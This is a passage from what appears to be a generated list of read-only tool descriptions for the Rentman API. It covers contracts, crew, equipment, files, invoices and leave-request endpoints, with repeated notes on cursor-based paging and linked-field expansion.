/api/v1/rentman/contacts/{id}/tasks. Scopes: api. rentman_get_contracts (read) — Get Contract collection -- Represents contracts. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contracts GET /api/v1/rentman/contracts. Scopes: api. rentman_get_contracts_by_id (read) — Get Contract item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contracts/{id} GET /api/v1/rentman/contracts/{id}. Scopes: api. rentman_get_contracts_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contracts/{id}/files GET /api/v1/rentman/contracts/{id}/files. Scopes: api. rentman_get_contracts_by_id_invoicelines (read) — Get InvoiceLine collection -- Invoice lines are generated lines based on tax rates and ledgers of the items within an invoice. They sum up to the total of the invoice. Useful for exporting to accounting systems. It is currently not possible to get the exact same details which are displayed on the invoice pdf, since that depends on the used document template. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contracts/{id}/invoicelines GET /api/v1/rentman/contracts/{id}/invoicelines. Scopes: api. rentman_get_contracts_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /contracts/{id}/tasks GET /api/v1/rentman/contracts/{id}/tasks. Scopes: api. rentman_get_costs (read) — Get ProjectCost collection -- Represents additional costs in a project. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /costs GET /api/v1/rentman/costs. Scopes: api. rentman_get_costs_by_id (read) — Get ProjectCost item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /costs/{id} GET /api/v1/rentman/costs/{id}. Scopes: api. rentman_get_crew (read) — Get Crew collection -- With this endpoint you can retrieve crew members and their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crew GET /api/v1/rentman/crew. Scopes: api. rentman_get_crew_by_id (read) — Get Crew item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crew/{id} GET /api/v1/rentman/crew/{id}. Scopes: api. rentman_get_crew_by_id_appointments (read) — Get Appointment collection -- With this endpoint, you could read, write, update and delete appointments. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crew/{id}/appointments GET /api/v1/rentman/crew/{id}/appointments. Scopes: api. rentman_get_crew_by_id_crewavailability (read) — Get CrewAvailability collection -- Availability of the crew members. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crew/{id}/crewavailability GET /api/v1/rentman/crew/{id}/crewavailability. Scopes: api. rentman_get_crew_by_id_crewrates (read) — Get CrewRates collection -- Represents the rates attached to crew members. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crew/{id}/crewrates GET /api/v1/rentman/crew/{id}/crewrates. Scopes: api. rentman_get_crew_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crew/{id}/file_folders GET /api/v1/rentman/crew/{id}/file_folders. Scopes: api. rentman_get_crew_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crew/{id}/files GET /api/v1/rentman/crew/{id}/files. Scopes: api. rentman_get_crew_by_id_invitations (read) — Get Invitations collection -- With this endpoint, you can read sent invitations for crew functions. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crew/{id}/invitations GET /api/v1/rentman/crew/{id}/invitations. Scopes: api. rentman_get_crew_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crew/{id}/tasks GET /api/v1/rentman/crew/{id}/tasks. Scopes: api. rentman_get_crewavailability (read) — Get CrewAvailability collection -- Availability of the crew members. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crewavailability GET /api/v1/rentman/crewavailability. Scopes: api. rentman_get_crewavailability_by_id (read) — Get CrewAvailability item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crewavailability/{id} GET /api/v1/rentman/crewavailability/{id}. Scopes: api. rentman_get_crewrates (read) — Get CrewRates collection -- Represents the rates attached to crew members. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crewrates GET /api/v1/rentman/crewrates. Scopes: api. rentman_get_crewrates_by_id (read) — Get CrewRates item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /crewrates/{id} GET /api/v1/rentman/crewrates/{id}. Scopes: api. rentman_get_equipment (read) — Get Equipment collection -- All equipment. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment GET /api/v1/rentman/equipment. Scopes: api. rentman_get_equipment_by_id (read) — Get Equipment item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id} GET /api/v1/rentman/equipment/{id}. Scopes: api. rentman_get_equipment_by_id_accessories (read) — Get Accessory collection -- Represents accessories of an equipment item. Each equipment can have multiple accessories. Accessories are equipment items themselves. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id}/accessories GET /api/v1/rentman/equipment/{id}/accessories. Scopes: api. rentman_get_equipment_by_id_alternatives (read) — Get Alternative collection -- Represents alternatives of an equipment item. Each equipment can have multiple alternatives. Alternatives are equipment items themselves. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id}/alternatives GET /api/v1/rentman/equipment/{id}/alternatives. Scopes: api. rentman_get_equipment_by_id_equipmentsetscontent (read) — Get EquipmentSetContent collection -- With this endpoint, you can retrieve the contents of combinations together with their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id}/equipmentsetscontent GET /api/v1/rentman/equipment/{id}/equipmentsetscontent. Scopes: api. rentman_get_equipment_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id}/file_folders GET /api/v1/rentman/equipment/{id}/file_folders. Scopes: api. rentman_get_equipment_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id}/files GET /api/v1/rentman/equipment/{id}/files. Scopes: api. rentman_get_equipment_by_id_repairs (read) — Get Repair collection -- With this endpoint you can retrieve repairs and their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id}/repairs GET /api/v1/rentman/equipment/{id}/repairs. Scopes: api. rentman_get_equipment_by_id_serialnumbers (read) — Get SerialNumber collection -- Represents serial numbers, which are specific individual equipment pieces. This is a sub-item of Equipment and is always associated with a single Equipment item. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id}/serialnumbers GET /api/v1/rentman/equipment/{id}/serialnumbers. Scopes: api. rentman_get_equipment_by_id_stockmovements (read) — Get StockMovement collection -- Stock movements are all the changes that happen to the stock levels of an equipment. Those changes include manual changes, purchases, sales, transfers, stock corrections, repairs, marking lost or found, imports, stock counts. When creating or updating stock movements via the API only stock movements of type 'manual' are writable. Only stock movements for bulk items are available though the API. Stock movements for serialized equipment may be implemented at a later stage. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id}/stockmovements GET /api/v1/rentman/equipment/{id}/stockmovements. Scopes: api. rentman_get_equipment_by_id_suppliers (read) — Get Supplier collection -- Represents a supplier relationship between a contact and an equipment item. Each supplier entry links a contact to an equipment item, optionally with a purchase price and additional details. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id}/suppliers GET /api/v1/rentman/equipment/{id}/suppliers. Scopes: api. rentman_get_equipment_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipment/{id}/tasks GET /api/v1/rentman/equipment/{id}/tasks. Scopes: api. rentman_get_equipmentassignedserials (read) — Get EquipmentAssignedSerials collection -- With this endpoint, you can retrieve the serial numbers assigned to serialized physical combinations together with their information. This endpoint only returns serials which have been assigned manually from the serial numbers tab, not actual content. Please see <a href="https://support.rentman.io/hc/en-us/articles/360018672100-How-to-add-serial-numbers-to-physical-combinations">this article</a> for more information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipmentassignedserials GET /api/v1/rentman/equipmentassignedserials. Scopes: api. rentman_get_equipmentassignedserials_by_id (read) — Get EquipmentAssignedSerials item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipmentassignedserials/{id} GET /api/v1/rentman/equipmentassignedserials/{id}. Scopes: api. rentman_get_equipmentsetscontent (read) — Get EquipmentSetContent collection -- With this endpoint, you can retrieve the contents of combinations together with their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipmentsetscontent GET /api/v1/rentman/equipmentsetscontent. Scopes: api. rentman_get_equipmentsetscontent_by_id (read) — Get EquipmentSetContent item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /equipmentsetscontent/{id} GET /api/v1/rentman/equipmentsetscontent/{id}. Scopes: api. rentman_get_extrainputfields (read) — Get ExtraInputField collection -- With this endpoint, you can read extra input fields. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /extrainputfields GET /api/v1/rentman/extrainputfields. Scopes: api. rentman_get_extrainputfields_by_id (read) — Get ExtraInputField item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /extrainputfields/{id} GET /api/v1/rentman/extrainputfields/{id}. Scopes: api. rentman_get_factorgroups (read) — Get FactorGroups collection -- All factor groups. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /factorgroups GET /api/v1/rentman/factorgroups. Scopes: api. rentman_get_factorgroups_by_id (read) — Get FactorGroups item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /factorgroups/{id} GET /api/v1/rentman/factorgroups/{id}. Scopes: api. rentman_get_factorgroups_by_id_factors (read) — Get Factors collection -- All factor. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /factorgroups/{id}/factors GET /api/v1/rentman/factorgroups/{id}/factors. Scopes: api. rentman_get_factors (read) — Get Factors collection -- All factor. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /factors GET /api/v1/rentman/factors. Scopes: api. rentman_get_factors_by_id (read) — Get Factors item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /factors/{id} GET /api/v1/rentman/factors/{id}. Scopes: api. rentman_get_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /file_folders GET /api/v1/rentman/file_folders. Scopes: api. rentman_get_file_folders_by_id (read) — Get FileFolder item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /file_folders/{id} GET /api/v1/rentman/file_folders/{id}. Scopes: api. rentman_get_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /files GET /api/v1/rentman/files. Scopes: api. rentman_get_files_by_id (read) — Get File item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /files/{id} GET /api/v1/rentman/files/{id}. Scopes: api. rentman_get_folders (read) — Get Folder collection -- Contacts, equipment, crew, vehicles, containers, projecttemplates and default functions are organised into folders. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /folders GET /api/v1/rentman/folders. Scopes: api. rentman_get_folders_by_id (read) — Get Folder item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /folders/{id} GET /api/v1/rentman/folders/{id}. Scopes: api. rentman_get_invitations (read) — Get Invitations collection -- With this endpoint, you can read sent invitations for crew functions. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /invitations GET /api/v1/rentman/invitations. Scopes: api. rentman_get_invitations_by_id (read) — Get Invitations item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /invitations/{id} GET /api/v1/rentman/invitations/{id}. Scopes: api. rentman_get_invoicelines (read) — Get InvoiceLine collection -- Invoice lines are generated lines based on tax rates and ledgers of the items within an invoice. They sum up to the total of the invoice. Useful for exporting to accounting systems. It is currently not possible to get the exact same details which are displayed on the invoice pdf, since that depends on the used document template. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /invoicelines GET /api/v1/rentman/invoicelines. Scopes: api. rentman_get_invoicelines_by_id (read) — Get InvoiceLine item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /invoicelines/{id} GET /api/v1/rentman/invoicelines/{id}. Scopes: api. rentman_get_invoices (read) — Get Factuur collection -- Represents invoices. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /invoices GET /api/v1/rentman/invoices. Scopes: api. rentman_get_invoices_by_id (read) — Get Factuur item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /invoices/{id} GET /api/v1/rentman/invoices/{id}. Scopes: api. rentman_get_invoices_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /invoices/{id}/files GET /api/v1/rentman/invoices/{id}/files. Scopes: api. rentman_get_invoices_by_id_invoicelines (read) — Get InvoiceLine collection -- Invoice lines are generated lines based on tax rates and ledgers of the items within an invoice. They sum up to the total of the invoice. Useful for exporting to accounting systems. It is currently not possible to get the exact same details which are displayed on the invoice pdf, since that depends on the used document template. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /invoices/{id}/invoicelines GET /api/v1/rentman/invoices/{id}/invoicelines. Scopes: api. rentman_get_invoices_by_id_payments (read) — Get Payment collection -- Represents payments. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /invoices/{id}/payments GET /api/v1/rentman/invoices/{id}/payments. Scopes: api. rentman_get_invoices_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /invoices/{id}/tasks GET /api/v1/rentman/invoices/{id}/tasks. Scopes: api. rentman_get_leavemutation (read) — Get LeaveMutations collection -- With this endpoint, you could work with leave mutations and their information. These items are immutable, so any mistakes made in the mutations should be corrected by creating a new (opposite) mutation. Duration is expressed in seconds. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /leavemutation GET /api/v1/rentman/leavemutation. Scopes: api. rentman_get_leavemutation_by_id (read) — Get LeaveMutations item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /leavemutation/{id} GET /api/v1/rentman/leavemutation/{id}. Scopes: api. rentman_get_leaverequest (read) — Get LeaveRequest collection -- With this endpoint, you could work with leave requests and their information. Make sure to also create the corresponding request lines for this request (by using the `/leaverequest/:id/timeregistration` endpoint). The leave type for the request lines must require approval (See `/leavetypes` endpoint for this information). Hours requests can be updated as long as they are in status 'Pending', once they get Approved/Rejected they can't be updated anymore besides transitioning a request from Approved to Cancelled. Once created, the crew member the request is for can't be updated. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as 